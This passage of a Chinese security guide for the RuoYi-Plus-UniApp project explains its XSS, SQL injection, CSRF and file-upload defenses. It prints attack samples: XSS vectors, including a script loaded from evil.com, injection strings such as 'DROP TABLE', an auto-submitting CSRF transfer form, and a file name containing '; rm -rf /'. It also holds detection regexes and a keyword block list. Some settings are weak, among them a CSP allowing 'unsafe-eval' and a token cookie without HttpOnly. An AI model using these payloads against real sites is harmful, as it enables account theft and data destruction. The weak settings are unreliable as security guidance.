Skip to content

漏洞防护

介绍

漏洞防护是保障应用安全的核心防线,通过主动防御各类常见Web安全漏洞,确保系统免受恶意攻击。RuoYi-Plus-UniApp 项目实现了完整的多层次安全防护体系,覆盖 OWASP Top 10 等主流安全威胁。

核心防护目标:

  • XSS跨站脚本防护 - 防止恶意脚本注入,保护用户数据安全
  • SQL注入防护 - 阻止SQL注入攻击,保障数据库安全
  • CSRF跨站请求伪造防护 - 防止未授权操作,确保请求合法性
  • 文件上传安全 - 限制上传文件类型和大小,防止恶意文件上传
  • XXE外部实体注入防护 - 防止XML解析漏洞利用
  • 命令注入防护 - 阻止系统命令执行攻击
  • 反序列化漏洞防护 - 防止恶意对象注入
  • 路径遍历防护 - 限制文件访问范围,防止目录遍历攻击

安全防护架构:

┌─────────────────────────────────────────────────────────────────┐
│                        应用安全防护体系                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐    │
│  │ XSS防护     │  │ SQL注入防护 │  │ CSRF防护            │    │
│  │ - 过滤器    │  │ - 参数校验  │  │ - Token验证         │    │
│  │ - 注解校验  │  │ - 预编译SQL │  │ - 同源检查          │    │
│  └─────────────┘  └─────────────┘  └─────────────────────┘    │
│                                                                 │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐    │
│  │ 文件上传    │  │ XXE防护     │  │ 命令注入防护        │    │
│  │ - 类型检查  │  │ - 禁用外部  │  │ - 命令白名单        │    │
│  │ - 大小限制  │  │   实体解析  │  │ - 参数转义          │    │
│  └─────────────┘  └─────────────┘  └─────────────────────┘    │
│                                                                 │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐    │
│  │ 反序列化    │  │ 路径遍历    │  │ 安全配置            │    │
│  │ - 类型限制  │  │ - 路径规范化│  │ - 错误处理          │    │
│  │ - 黑名单    │  │ - 白名单    │  │ - 日志脱敏          │    │
│  └─────────────┘  └─────────────┘  └─────────────────────┘    │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

XSS跨站脚本防护

XSS攻击原理

XSS (Cross-Site Scripting) 跨站脚本攻击是指攻击者在网页中注入恶意脚本代码,当其他用户浏览该网页时,恶意脚本会在其浏览器中执行,从而窃取用户信息、劫持会话或进行其他恶意操作。

常见XSS攻击向量:

html
<!-- 1. Script标签注入 -->
<script>alert('XSS')</script>
<script src="http://evil.com/xss.js"></script>

<!-- 2. 事件处理器注入 -->
<img src=x onerror="alert('XSS')">
<body onload="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>

<!-- 3. JavaScript伪协议 -->
<a href="javascript:alert('XSS')">点击</a>
<iframe src="javascript:alert('XSS')"></iframe>

<!-- 4. CSS表达式注入 -->
<div style="background:url('javascript:alert(1)')">
<div style="width:expression(alert('XSS'))">

<!-- 5. HTML实体编码绕过 -->
&#60;script&#62;alert('XSS')&#60;/script&#62;
&#x3c;script&#x3e;alert('XSS')&#x3c;/script&#x3e;

<!-- 6. URL编码绕过 -->
%3Cscript%3Ealert('XSS')%3C/script%3E

<!-- 7. 危险标签 -->
<object data="data:text/html,<script>alert('XSS')</script>">
<embed src="data:text/html,<script>alert('XSS')</script>">
<iframe srcdoc="<script>alert('XSS')</script>">

XssFilter 全局过滤器

系统实现了全局XSS过滤器,自动清理请求参数中的恶意脚本:

java
package plus.ruoyi.common.web.filter;

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.http.HttpMethod;
import plus.ruoyi.common.core.utils.SpringUtils;
import plus.ruoyi.common.core.utils.StringUtils;
import plus.ruoyi.common.web.config.properties.XssProperties;

/**
 * XSS攻击防护过滤器
 *
 * 功能特点:
 * - 自动拦截POST/PUT请求进行XSS过滤
 * - 支持配置排除URL,对特定接口跳过过滤
 * - GET/DELETE请求默认不过滤(通常不包含请求体)
 */
public class XssFilter implements Filter {

    /** 不需要XSS过滤的URL列表 */
    public List<String> excludes = new ArrayList<>();

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        // 从配置中加载排除的URL列表
        XssProperties properties = SpringUtils.getBean(XssProperties.class);
        excludes.addAll(properties.getExcludeUrls());
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;

        // 检查是否需要跳过XSS过滤
        if (handleExcludeUrl(req, resp)) {
            chain.doFilter(request, response);
            return;
        }

        // 使用XSS过滤包装器处理请求
        XssHttpServletRequestWrapper xssRequest =
            new XssHttpServletRequestWrapper((HttpServletRequest) request);
        chain.doFilter(xssRequest, response);
    }

    /**
     * 判断是否跳过XSS过滤
     */
    private boolean handleExcludeUrl(HttpServletRequest request,
                                     HttpServletResponse response) {
        String url = request.getServletPath();
        String method = request.getMethod();

        // GET和DELETE请求不进行XSS过滤
        if (method == null ||
            HttpMethod.GET.matches(method) ||
            HttpMethod.DELETE.matches(method)) {
            return true;
        }

        // 检查URL是否在排除列表中
        return StringUtils.matchesAny(url, excludes);
    }
}

配置排除URL:

yaml
# application.yml - XSS过滤配置
xss:
  # 排除URL列表 - 这些接口不进行XSS过滤
  excludeUrls:
    - /system/notice/*    # 系统通知(可能包含HTML)
    - /tool/gen/*         # 代码生成器(包含代码片段)
    - /resource/oss/*     # 文件上传

XssHttpServletRequestWrapper 请求包装器

请求包装器实现了请求参数和请求体的XSS清理:

java
package plus.ruoyi.common.web.filter;

import cn.hutool.http.HtmlUtil;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletRequestWrapper;

/**
 * XSS过滤请求包装器
 *
 * 过滤范围:
 * - 单个请求参数: getParameter()
 * - 参数Map: getParameterMap()
 * - 参数数组: getParameterValues()
 * - JSON请求体: getInputStream()
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        if (value == null) {
            return null;
        }
        // 清理HTML标签并去除前后空格
        return HtmlUtil.cleanHtmlTag(value).trim();
    }

    @Override
    public Map<String, String[]> getParameterMap() {
        Map<String, String[]> valueMap = super.getParameterMap();
        if (MapUtil.isEmpty(valueMap)) {
            return valueMap;
        }

        // 复制参数Map避免修改原始数据
        Map<String, String[]> map = new HashMap<>(valueMap.size());
        map.putAll(valueMap);

        // 对每个参数值进行XSS过滤
        for (Map.Entry<String, String[]> entry : map.entrySet()) {
            String[] values = entry.getValue();
            if (values != null) {
                int length = values.length;
                String[] escapedValues = new String[length];
                for (int i = 0; i < length; i++) {
                    escapedValues[i] = HtmlUtil.cleanHtmlTag(values[i]).trim();
                }
                map.put(entry.getKey(), escapedValues);
            }
        }
        return map;
    }

    @Override
    public ServletInputStream getInputStream() throws IOException {
        // 非JSON请求直接返回原始输入流
        if (!isJsonRequest()) {
            return super.getInputStream();
        }

        // 读取请求体内容
        String json = StrUtil.str(
            IoUtil.readBytes(super.getInputStream(), false),
            StandardCharsets.UTF_8
        );

        if (StringUtils.isEmpty(json)) {
            return super.getInputStream();
        }

        // 对JSON内容进行XSS过滤
        json = HtmlUtil.cleanHtmlTag(json).trim();
        byte[] jsonBytes = json.getBytes(StandardCharsets.UTF_8);

        return new ServletInputStream() {
            private final ByteArrayInputStream bis = IoUtil.toStream(jsonBytes);

            @Override
            public int read() throws IOException {
                return bis.read();
            }

            @Override
            public boolean isFinished() { return true; }

            @Override
            public boolean isReady() { return true; }

            @Override
            public int available() { return jsonBytes.length; }
        };
    }

    /**
     * 判断是否为JSON请求
     */
    public boolean isJsonRequest() {
        String header = super.getHeader(HttpHeaders.CONTENT_TYPE);
        return StringUtils.startsWithIgnoreCase(
            header,
            MediaType.APPLICATION_JSON_VALUE
        );
    }
}

HtmlUtil清理逻辑:

java
// Hutool HtmlUtil.cleanHtmlTag() 实现
// 移除所有HTML标签,保留纯文本内容
String cleaned = HtmlUtil.cleanHtmlTag("<script>alert('XSS')</script>Hello");
// 结果: "Hello"

String cleaned2 = HtmlUtil.cleanHtmlTag("<img src=x onerror=alert(1)>");
// 结果: ""

@Xss 注解校验

除了全局过滤器,系统还提供了注解方式的XSS校验,支持三种检测模式:

java
package plus.ruoyi.common.core.xss;

/**
 * XSS攻击防护校验注解
 *
 * 检测模式:
 * - BASIC: 基础模式,检测常见HTML标签和脚本
 * - STRICT: 严格模式,检测更多攻击向量(编码绕过等)
 * - LENIENT: 宽松模式,仅检测明显的脚本标签
 */
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.METHOD, ElementType.FIELD, ElementType.PARAMETER})
@Constraint(validatedBy = {XssValidator.class})
public @interface Xss {

    /** XSS检测模式 */
    enum Mode {
        /** 基础模式 */
        BASIC,
        /** 严格模式 */
        STRICT,
        /** 宽松模式 */
        LENIENT
    }

    /** 检测模式,默认基础模式 */
    Mode mode() default Mode.BASIC;

    /** 校验失败时的错误信息 */
    String message() default "输入内容包含潜在的XSS攻击代码";

    Class<?>[] groups() default {};

    Class<? extends Payload>[] payload() default {};
}

使用示例:

java
package plus.ruoyi.system.domain.bo;

import plus.ruoyi.common.core.xss.Xss;

/**
 * 用户业务对象
 */
public class SysUserBo {

    /** 用户名 - 基础模式检测 */
    @Xss(message = "用户名不能包含脚本代码")
    private String userName;

    /** 昵称 - 基础模式检测 */
    @Xss(message = "昵称不能包含脚本代码")
    private String nickName;

    /** 个人简介 - 宽松模式(允许部分HTML) */
    @Xss(mode = Xss.Mode.LENIENT, message = "简介包含危险脚本")
    private String profile;

    /** 备注 - 严格模式(高安全要求) */
    @Xss(mode = Xss.Mode.STRICT, message = "备注存在安全风险")
    private String remark;
}

XssValidator 校验器实现

XSS校验器提供了三种检测模式的具体实现:

java
package plus.ruoyi.common.core.xss;

/**
 * XSS攻击防护校验器
 */
public class XssValidator implements ConstraintValidator<Xss, String> {

    private Xss.Mode mode;

    /**
     * 基础模式正则表达式
     * 检测: script标签、事件处理器、伪协议、危险标签
     */
    private static final Pattern BASIC_XSS_PATTERN = Pattern.compile("""
        (?i)(
        <[^>]*script[^>]*>|
        <[^>]*on\\w+\\s*=|
        <[^>]*style\\s*=.*expression\\s*\\(|
        javascript\\s*:|
        vbscript\\s*:|
        <[^>]*src\\s*=\\s*["']?\\s*javascript\\s*:|
        <\\s*/?.*(script|object|applet|embed|form|iframe|frameset|frame)\\s*[^>]*>
        )
        """);

    /**
     * 严格模式正则表达式
     * 检测: 基础检测 + 编码绕过 + 危险函数
     */
    private static final Pattern STRICT_XSS_PATTERN = Pattern.compile("""
        (?i)(
        <[^>]*script[^>]*>|
        <[^>]*on\\w+\\s*=|
        <[^>]*style\\s*=.*expression\\s*\\(|
        (javascript|vbscript)\\s*:|
        data\\s*:.*text/html|
        <[^>]*src\\s*=\\s*["']?\\s*(javascript|vbscript|data)\\s*:|
        (&#\\d+;?)|(&#x[0-9a-f]+;?)|
        (%3c|%3e|%22|%27|%2f|%5c)|
        (\\\\x[0-9a-f]{2})|(\\\\u[0-9a-f]{4})|
        (eval|expression)\\s*\\(|
        String\\s*\\.\\s*fromCharCode|
        (document|window)\\s*\\.|
        (alert|confirm|prompt)\\s*\\(|
        <\\s*/?.*(script|object|applet|embed|form|iframe|meta|link|style|base)\\s*[^>]*>
        )
        """);

    /**
     * 宽松模式正则表达式
     * 检测: 明显的脚本标签
     */
    private static final Pattern LENIENT_XSS_PATTERN = Pattern.compile("""
        (?i)(
        <\\s*script[^>]*>.*?</\\s*script\\s*>|
        (javascript|vbscript)\\s*:|
        <\\s*(iframe|object|embed)[^>]*>
        )
        """);

    @Override
    public void initialize(Xss annotation) {
        this.mode = annotation.mode();
    }

    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        // 空值直接通过
        if (StringUtils.isBlank(value)) {
            return true;
        }

        try {
            // 根据模式选择检测策略
            boolean containsXss = switch (mode) {
                case BASIC -> detectBasicXss(value);
                case STRICT -> detectStrictXss(value);
                case LENIENT -> detectLenientXss(value);
            };

            if (containsXss) {
                log.warn("检测到XSS攻击代码: mode={}, value={}",
                    mode,
                    value.length() > 100 ? value.substring(0, 100) + "..." : value
                );
                return false;
            }

            return true;

        } catch (Exception e) {
            log.error("XSS检测异常: mode={}, value={}", mode, value, e);
            // 异常时为安全起见,认为检测失败
            return false;
        }
    }

    /** 基础模式XSS检测 */
    private boolean detectBasicXss(String value) {
        return ReUtil.contains(BASIC_XSS_PATTERN, value);
    }

    /** 严格模式XSS检测 */
    private boolean detectStrictXss(String value) {
        return ReUtil.contains(STRICT_XSS_PATTERN, value);
    }

    /** 宽松模式XSS检测 */
    private boolean detectLenientXss(String value) {
        return ReUtil.contains(LENIENT_XSS_PATTERN, value);
    }
}

检测示例:

java
// 基础模式 - 检测常见XSS
XssValidator.containsXss("<script>alert(1)</script>", Xss.Mode.BASIC);  // true
XssValidator.containsXss("<img src=x onerror=alert(1)>", Xss.Mode.BASIC);  // true
XssValidator.containsXss("javascript:alert(1)", Xss.Mode.BASIC);  // true
XssValidator.containsXss("Hello World", Xss.Mode.BASIC);  // false

// 严格模式 - 检测编码绕过
XssValidator.containsXss("&#60;script&#62;", Xss.Mode.STRICT);  // true
XssValidator.containsXss("%3Cscript%3E", Xss.Mode.STRICT);  // true
XssValidator.containsXss("eval(alert(1))", Xss.Mode.STRICT);  // true

// 宽松模式 - 仅检测明显脚本
XssValidator.containsXss("<script>alert(1)</script>", Xss.Mode.LENIENT);  // true
XssValidator.containsXss("<img src=x onerror=alert(1)>", Xss.Mode.LENIENT);  // false
XssValidator.containsXss("<p>普通HTML</p>", Xss.Mode.LENIENT);  // false

前端XSS防护

前端通过输出编码和内容安全策略防护XSS:

typescript
// src/utils/xss.ts

/**
 * HTML实体编码
 * 将特殊字符转换为HTML实体,防止XSS
 */
export const escapeHtml = (text: string): string => {
  const map: Record<string, string> = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  }

  return text.replace(/[&<>"'/]/g, char => map[char])
}

/**
 * URL编码
 */
export const escapeUrl = (url: string): string => {
  return encodeURIComponent(url)
}

/**
 * JavaScript字符串转义
 */
export const escapeJs = (text: string): string => {
  return text
    .replace(/\\/g, '\\\\')
    .replace(/'/g, "\\'")
    .replace(/"/g, '\\"')
    .replace(/\n/g, '\\n')
    .replace(/\r/g, '\\r')
}

/**
 * 使用示例
 */
// 在模板中显示用户输入
const userInput = '<script>alert("XSS")</script>'
const safeOutput = escapeHtml(userInput)
// 结果: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

// 构造安全的URL
const param = "value<script>"
const safeUrl = `/api/search?q=${escapeUrl(param)}`

Vue 模板自动转义:

vue
<template>
  <!-- Vue会自动转义插值内容,防止XSS -->
  <div>{{ userInput }}</div>

  <!-- 危险: v-html不会转义,避免使用 -->
  <div v-html="dangerousHtml"></div>

  <!-- 安全: 使用v-text替代v-html -->
  <div v-text="safeText"></div>

  <!-- 属性绑定也会自动转义 -->
  <input :value="userInput">
  <a :href="userUrl">链接</a>
</template>

<script lang="ts" setup>
import { ref } from 'vue'
import { escapeHtml } from '@/utils/xss'

const userInput = ref('<script>alert("XSS")</script>')

// 如果必须使用v-html,先清理HTML
const dangerousHtml = ref('<p>Hello</p><script>alert(1)</script>')
const safeHtml = computed(() => {
  // 使用DOMPurify等库清理HTML
  return DOMPurify.sanitize(dangerousHtml.value)
})
</script>

内容安全策略 (CSP):

html
<!-- index.html -->
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self';
               script-src 'self' 'unsafe-inline' 'unsafe-eval';
               style-src 'self' 'unsafe-inline';">

SQL注入防护

SQL注入攻击原理

SQL注入是指攻击者在输入的数据中插入恶意的SQL语句,导致数据库执行非预期的查询或操作。

常见SQL注入示例:

sql
-- 1. 联合查询注入
-- 原始SQL: SELECT * FROM users WHERE username = '{input}'
-- 注入: admin' UNION SELECT 1,2,password FROM admin--
-- 结果SQL: SELECT * FROM users WHERE username = 'admin' UNION SELECT 1,2,password FROM admin--'

-- 2. 布尔盲注
-- 注入: admin' AND 1=1--  (返回正常)
-- 注入: admin' AND 1=2--  (返回异常)

-- 3. 时间盲注
-- 注入: admin' AND SLEEP(5)--

-- 4. 报错注入
-- 注入: admin' AND extractvalue(1,concat(0x7e,database()))--

-- 5. 堆叠注入
-- 注入: admin'; DROP TABLE users--

-- 6. ORDER BY注入
-- 注入: name DESC; DROP TABLE users--

SqlUtil SQL注入防护工具

系统提供了SQL注入防护工具类:

java
package plus.ruoyi.common.core.utils.sql;

/**
 * SQL操作工具类
 * 提供SQL注入防护、SQL语法校验等安全功能
 */
@NoArgsConstructor(access = AccessLevel.PRIVATE)
public class SqlUtil {

    /**
     * 危险的SQL关键字正则表达式
     * 包含常见的SQL注入攻击关键字
     */
    public static String SQL_REGEX = "\u000B|and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";

    /**
     * ORDER BY子句的安全字符正则表达式
     * 仅允许: 字母、数字、下划线、空格、逗号、小数点
     */
    public static final String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+";

    /**
     * 校验并转义ORDER BY语句,防止SQL注入
     *
     * @param value ORDER BY子句内容
     * @return 校验通过后的原始值
     * @throws IllegalArgumentException 包含非法字符时抛出
     */
    public static String escapeOrderBySql(String value) {
        if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) {
            throw new IllegalArgumentException("参数不符合规范,不能进行查询");
        }
        return value;
    }

    /**
     * 验证ORDER BY语句是否符合安全规范
     *
     * @param value 待验证的ORDER BY子句
     * @return true表示符合规范
     */
    public static boolean isValidOrderBySql(String value) {
        return value.matches(SQL_PATTERN);
    }

    /**
     * 过滤SQL关键字,防止SQL注入攻击
     *
     * @param value 待检查的字符串
     * @throws IllegalArgumentException 发现SQL关键字时抛出
     */
    public static void filterKeyword(String value) {
        if (StringUtils.isEmpty(value)) {
            return;
        }

        // 拆分关键字
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");

        for (String sqlKeyword : sqlKeywords) {
            // 忽略大小写检查危险关键字
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1) {
                throw new IllegalArgumentException("参数存在SQL注入风险");
            }
        }
    }
}

使用示例:

java
package plus.ruoyi.system.service.impl;

/**
 * 用户服务实现
 */
@Service
public class SysUserServiceImpl {

    /**
     * 分页查询用户
     */
    public PageResult<SysUserVo> pageUsers(SysUserQuery query) {
        // 1. 校验排序参数,防止ORDER BY注入
        if (StringUtils.isNotBlank(query.getOrderBy())) {
            SqlUtil.escapeOrderBySql(query.getOrderBy());
        }

        // 2. 过滤搜索关键字中的SQL关键字
        if (StringUtils.isNotBlank(query.getKeyword())) {
            SqlUtil.filterKeyword(query.getKeyword());
        }

        // 3. 使用MyBatis-Plus安全查询
        LambdaQueryWrapper<SysUser> wrapper = Wrappers.lambdaQuery();
        wrapper.like(StringUtils.isNotBlank(query.getKeyword()),
                    SysUser::getUserName, query.getKeyword());

        return userMapper.selectPage(query, wrapper);
    }
}

防护效果:

java
// ✅ 安全的ORDER BY
SqlUtil.escapeOrderBySql("user_name ASC");  // 通过
SqlUtil.escapeOrderBySql("create_time DESC, user_name");  // 通过

// ❌ 危险的ORDER BY注入
SqlUtil.escapeOrderBySql("user_name; DROP TABLE users--");
// 抛出异常: 参数不符合规范

// ❌ 危险的SQL关键字
SqlUtil.filterKeyword("admin' OR '1'='1");
// 抛出异常: 参数存在SQL注入风险

SqlUtil.filterKeyword("'; DROP TABLE users--");
// 抛出异常: 参数存在SQL注入风险

MyBatis-Plus 参数化查询

使用MyBatis-Plus的LambdaQueryWrapper,自动防止SQL注入:

java
/**
 * 用户查询 - 安全实现
 */
public List<SysUser> searchUsers(String keyword) {

    // ✅ 方式1: LambdaQueryWrapper (推荐)
    LambdaQueryWrapper<SysUser> wrapper = Wrappers.lambdaQuery();
    wrapper.like(SysUser::getUserName, keyword)  // 参数化查询
           .or()
           .like(SysUser::getNickName, keyword);
    return userMapper.selectList(wrapper);

    // ✅ 方式2: QueryWrapper with parameterized query
    QueryWrapper<SysUser> wrapper2 = new QueryWrapper<>();
    wrapper2.apply("user_name LIKE {0} OR nick_name LIKE {0}",
                  "%" + keyword + "%");
    return userMapper.selectList(wrapper2);

    // ❌ 危险: 字符串拼接SQL
    // QueryWrapper<SysUser> wrapper3 = new QueryWrapper<>();
    // wrapper3.apply("user_name = '" + keyword + "'");  // SQL注入风险!
}

MyBatis XML 参数化查询:

xml
<!-- SysUserMapper.xml -->
<mapper namespace="plus.ruoyi.system.mapper.SysUserMapper">

    <!-- ✅ 安全: 使用 #{} 参数化查询 -->
    <select id="searchUsers" resultType="SysUser">
        SELECT * FROM sys_user
        WHERE user_name LIKE CONCAT('%', #{keyword}, '%')
           OR nick_name LIKE CONCAT('%', #{keyword}, '%')
    </select>

    <!-- ❌ 危险: 使用 ${} 直接拼接 (仅用于表名、列名等) -->
    <!--
    <select id="dangerousQuery" resultType="SysUser">
        SELECT * FROM sys_user
        WHERE user_name = '${keyword}'   SQL注入风险!
    </select>
    -->

    <!-- ✅ 动态ORDER BY - 需要手动校验 -->
    <select id="listUsersWithOrder" resultType="SysUser">
        SELECT * FROM sys_user
        <if test="orderBy != null and orderBy != ''">
            ORDER BY ${orderBy}
        </if>
    </select>
</mapper>
java
/**
 * Mapper接口
 */
public interface SysUserMapper extends BaseMapper<SysUser> {

    /** 搜索用户 - 参数化查询 */
    List<SysUser> searchUsers(@Param("keyword") String keyword);

    /**
     * 动态排序查询 - 需要先校验orderBy参数
     *
     * 使用前必须:
     * SqlUtil.escapeOrderBySql(orderBy);
     */
    List<SysUser> listUsersWithOrder(@Param("orderBy") String orderBy);
}

预编译语句

JDBC预编译语句 (PreparedStatement) 是防止SQL注入的最佳实践:

java
/**
 * JDBC 预编译示例
 */
public User getUserByName(String userName) {

    // ✅ 安全: 使用PreparedStatement
    String sql = "SELECT * FROM sys_user WHERE user_name = ?";
    try (PreparedStatement ps = connection.prepareStatement(sql)) {
        ps.setString(1, userName);  // 参数化设置
        ResultSet rs = ps.executeQuery();
        // ... 处理结果
    }

    // ❌ 危险: 使用Statement拼接SQL
    /*
    String sql = "SELECT * FROM sys_user WHERE user_name = '" + userName + "'";
    Statement stmt = connection.createStatement();
    ResultSet rs = stmt.executeQuery(sql);  // SQL注入风险!
    */
}

预编译原理:

客户端                             数据库服务器
  │                                      │
  │  1. 发送SQL模板                      │
  │ ──────────────────────────────────>│
  │  SELECT * FROM user WHERE name=?    │
  │                                      │
  │  2. 服务器编译SQL并缓存              │
  │                   ┌──────────────┐  │
  │                   │ 解析、优化   │  │
  │                   │ 生成执行计划 │  │
  │                   └──────────────┘  │
  │                                      │
  │  3. 发送参数值                       │
  │ ──────────────────────────────────>│
  │  参数: "admin' OR '1'='1"           │
  │                                      │
  │  4. 参数作为数据处理,不再解析SQL     │
  │                   ┌──────────────┐  │
  │                   │ 参数转义     │  │
  │                   │ 按数据处理   │  │
  │                   └──────────────┘  │
  │                                      │
  │  5. 返回结果                         │
  │ <──────────────────────────────────│
  │                                      │

CSRF跨站请求伪造防护

CSRF攻击原理

CSRF (Cross-Site Request Forgery) 跨站请求伪造是指攻击者诱导用户在已登录的网站上执行非预期的操作。

攻击场景示例:

html
<!-- 攻击者网站 evil.com -->
<!DOCTYPE html>
<html>
<body>
  <h1>恭喜中奖!</h1>

  <!-- 隐藏的恶意表单 -->
  <form id="attack" action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
  </form>

  <script>
    // 自动提交表单
    document.getElementById('attack').submit();
  </script>

  <!-- 或使用img标签 -->
  <img src="https://bank.com/delete-account?id=123" style="display:none">
</body>
</html>

攻击流程:

1. 用户登录 bank.com,浏览器保存了Session Cookie
2. 用户访问恶意网站 evil.com (未退出 bank.com)
3. evil.com 中的恶意代码自动向 bank.com 发起请求
4. 浏览器自动携带 bank.com 的Cookie
5. bank.com 认为请求来自合法用户,执行转账操作

Sa-Token CSRF防护

项目使用Sa-Token框架提供自动CSRF防护:

java
package plus.ruoyi.common.satoken.config;

/**
 * Sa-Token 配置
 */
@Configuration
public class SaTokenConfig {

    /**
     * 注册Sa-Token过滤器
     */
    @Bean
    public SaServletFilter getSaServletFilter() {
        return new SaServletFilter()
            // 拦截路径
            .addInclude("/**")

            // 排除路径
            .addExclude("/favicon.ico", "/error")

            // 认证规则
            .setAuth(obj -> {
                // 登录认证
                SaRouter.match("/**")
                    .notMatch("/auth/login", "/auth/register")
                    .check(r -> StpUtil.checkLogin());
            })

            // 异常处理
            .setError(e -> {
                return R.fail(e.getMessage());
            });
    }
}

Token验证机制:

java
/**
 * Sa-Token 自动验证流程:
 *
 * 1. 用户登录时生成Token
 * 2. Token存储在Redis中
 * 3. 前端每次请求携带Token (Header或Cookie)
 * 4. 后端验证Token有效性
 * 5. Token过期或无效则拒绝请求
 */

// 登录时生成Token
@PostMapping("/login")
public R<LoginVo> login(@RequestBody LoginBody loginBody) {
    // 验证用户名密码
    User user = authService.authenticate(loginBody);

    // 登录成功,生成Token
    StpUtil.login(user.getUserId());
    String token = StpUtil.getTokenValue();

    // 返回Token给前端
    LoginVo vo = new LoginVo();
    vo.setToken(token);
    return R.ok(vo);
}

// 请求时验证Token
@GetMapping("/user/info")
@SaCheckLogin  // 自动验证Token
public R<UserInfo> getUserInfo() {
    Long userId = StpUtil.getLoginIdAsLong();
    UserInfo userInfo = userService.getUserInfo(userId);
    return R.ok(userInfo);
}

前端Token管理

前端自动在请求头中携带Token:

typescript
// src/composables/useHttp.ts

import { getToken } from '@/utils/auth'

// 请求拦截器 - 添加Token
instance.interceptors.request.use((config: InternalAxiosRequestConfig) => {
  // 获取Token
  const token = getToken()

  if (token) {
    // 添加Authorization请求头
    config.headers['Authorization'] = `Bearer ${token}`
  }

  // 添加租户ID
  const tenantId = getTenantId()
  if (tenantId) {
    config.headers['X-Tenant-Id'] = tenantId
  }

  return config
})

// 响应拦截器 - 处理Token过期
instance.interceptors.response.use(
  (res: AxiosResponse) => {
    const code = res.data.code || 200

    // Token过期或无效
    if (code === 401) {
      // 清除本地Token
      removeToken()

      // 跳转登录页
      router.push('/login')

      return Promise.reject(new Error('登录已过期,请重新登录'))
    }

    return res
  },
  (error) => {
    // Token验证失败
    if (error.response?.status === 401) {
      removeToken()
      router.push('/login')
    }

    return Promise.reject(error)
  }
)

Token存储:

typescript
// src/utils/auth.ts

import Cookies from 'js-cookie'

const TOKEN_KEY = 'Admin-Token'

/**
 * 获取Token
 */
export const getToken = (): string | undefined => {
  return Cookies.get(TOKEN_KEY)
}

/**
 * 设置Token
 * 使用HttpOnly Cookie防止XSS窃取
 */
export const setToken = (token: string, expires?: number): void => {
  const options: Cookies.CookieAttributes = {
    // 仅HTTP传输,JS无法访问
    // httpOnly: true,  // 需要后端设置

    // 仅HTTPS传输
    secure: import.meta.env.PROD,

    // 同站点策略,防止CSRF
    sameSite: 'strict',

    // 过期时间(天)
    expires: expires || 7
  }

  Cookies.set(TOKEN_KEY, token, options)
}

/**
 * 移除Token
 */
export const removeToken = (): void => {
  Cookies.remove(TOKEN_KEY)
}

SameSite Cookie属性

SameSite是Cookie的安全属性,用于防止CSRF攻击:

http
Set-Cookie: token=xxx; SameSite=Strict; Secure; HttpOnly

SameSite属性值:
- Strict: 完全禁止第三方Cookie,最安全但可能影响用户体验
- Lax: 允许部分第三方Cookie(GET导航请求),平衡安全和体验
- None: 允许所有第三方Cookie,需配合Secure使用

后端设置SameSite:

java
/**
 * 设置SameSite Cookie
 */
@GetMapping("/login")
public R<LoginVo> login(@RequestBody LoginBody loginBody,
                        HttpServletResponse response) {
    // 登录逻辑
    String token = authService.login(loginBody);

    // 设置Cookie
    ResponseCookie cookie = ResponseCookie.from("Admin-Token", token)
        .httpOnly(true)          // 防止XSS窃取
        .secure(true)            // 仅HTTPS传输
        .sameSite("Strict")      // 防止CSRF
        .path("/")
        .maxAge(7 * 24 * 3600)   // 7天过期
        .build();

    response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());

    return R.ok();
}

文件上传安全

文件上传漏洞

文件上传漏洞是指攻击者上传恶意文件到服务器,可能导致:

  • 任意代码执行: 上传Webshell,获取服务器控制权
  • 路径遍历: 覆盖系统关键文件
  • XSS攻击: 上传包含恶意脚本的HTML文件
  • DoS攻击: 上传超大文件耗尽服务器资源

常见攻击手法:

1. 文件类型绕过:
   - 修改Content-Type伪装文件类型
   - 双重扩展名: shell.php.jpg
   - 空字节截断: shell.php%00.jpg
   - 大小写绕过: shell.PHP
   - 特殊字符: shell.php .

2. 文件内容绕过:
   - 图片马: 在图片文件中嵌入PHP代码
   - 压缩包炸弹: 解压后文件巨大

3. 文件名攻击:
   - 路径遍历: ../../etc/passwd
   - 特殊字符注入: ; rm -rf /

OSS文件上传安全实现

系统使用统一的OSS存储服务,实现了完整的文件上传安全机制:

java
package plus.ruoyi.common.oss.core;

/**
 * OSS客户端
 * 提供统一的文件上传、下载、删除接口
 */
public class OssClient {

    /**
     * 上传文件
     *
     * 安全措施:
     * 1. 文件类型白名单校验
     * 2. 文件大小限制
     * 3. 文件名安全处理
     * 4. 随机文件名,防止覆盖
     */
    public UploadResult upload(MultipartFile file) {
        // 1. 校验文件不为空
        if (file == null || file.isEmpty()) {
            throw new ServiceException("上传文件不能为空");
        }

        // 2. 获取原始文件名
        String originalFilename = file.getOriginalFilename();
        if (StringUtils.isBlank(originalFilename)) {
            throw new ServiceException("文件名不能为空");
        }

        // 3. 校验文件扩展名
